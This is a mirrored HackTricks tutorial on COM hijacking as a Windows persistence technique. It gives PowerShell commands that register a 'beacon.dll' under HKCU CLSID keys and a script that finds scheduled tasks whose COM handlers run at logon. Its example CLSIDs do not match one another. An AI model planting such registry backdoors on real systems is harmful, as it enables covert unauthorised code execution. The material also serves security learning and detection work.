mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-28 23:51:29 +00:00
105 lines
5.3 KiB
Markdown
105 lines
5.3 KiB
Markdown
# COM Hijacking
|
|
|
|
<details>
|
|
|
|
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Other ways to support HackTricks:
|
|
|
|
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
|
|
### Searching not existent COM components
|
|
|
|
As the values of HKCU can be modified by the users **COM Hijacking** could be used as a **persistent mechanisms**. Using `procmon` it's easy to find searched COM registries that doesn't exist that an attacker could create to persist. Filters:
|
|
|
|
* **RegOpenKey** operations.
|
|
* where the _Result_ is **NAME NOT FOUND**.
|
|
* and the _Path_ ends with **InprocServer32**.
|
|
|
|
Once you have decided which not existent COM to impersonate execute the following commands. _Be careful if you decide to impersonate a COM that is loaded every few seconds as that could be overkill._ 
|
|
|
|
```bash
|
|
New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
|
|
New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll"
|
|
New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both"
|
|
```
|
|
|
|
### Hijackable Task Scheduler COM components
|
|
|
|
Windows Tasks use Custom Triggers to call COM objects and because they're executed through the Task Scheduler, it's easier to predict when they're gonna be triggered.
|
|
|
|
<pre class="language-powershell"><code class="lang-powershell"># Show COM CLSIDs
|
|
$Tasks = Get-ScheduledTask
|
|
|
|
foreach ($Task in $Tasks)
|
|
{
|
|
if ($Task.Actions.ClassId -ne $null)
|
|
{
|
|
if ($Task.Triggers.Enabled -eq $true)
|
|
{
|
|
$usersSid = "S-1-5-32-545"
|
|
$usersGroup = Get-LocalGroup | Where-Object { $_.SID -eq $usersSid }
|
|
|
|
if ($Task.Principal.GroupId -eq $usersGroup)
|
|
{
|
|
Write-Host "Task Name: " $Task.TaskName
|
|
Write-Host "Task Path: " $Task.TaskPath
|
|
Write-Host "CLSID: " $Task.Actions.ClassId
|
|
Write-Host
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
# Sample Output:
|
|
<strong># Task Name: Example
|
|
</strong># Task Path: \Microsoft\Windows\Example\
|
|
# CLSID: {1936ED8A-BD93-3213-E325-F38D112938E1}
|
|
# [more like the previous one...]</code></pre>
|
|
|
|
Checking the output you can select one that is going to be executed **every time a user logs in** for example.
|
|
|
|
Now searching for the CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** in **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** and in HKLM and HKCU, you usually will find that the value doesn't exist in HKCU.
|
|
|
|
```bash
|
|
# Exists in HKCR\CLSID\
|
|
Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}"
|
|
|
|
Name Property
|
|
---- --------
|
|
InprocServer32 (default) : C:\Windows\system32\some.dll
|
|
ThreadingModel : Both
|
|
|
|
# Exists in HKLM
|
|
Get-Item -Path "HKLM:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" | ft -AutoSize
|
|
|
|
Name Property
|
|
---- --------
|
|
{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1} (default) : MsCtfMonitor task handler
|
|
|
|
# Doesn't exist in HKCU
|
|
PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
|
|
Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.
|
|
```
|
|
|
|
Then, you can just create the HKCU entry and everytime the user logs in, your backdoor will be fired.
|
|
|
|
<details>
|
|
|
|
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Other ways to support HackTricks:
|
|
|
|
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|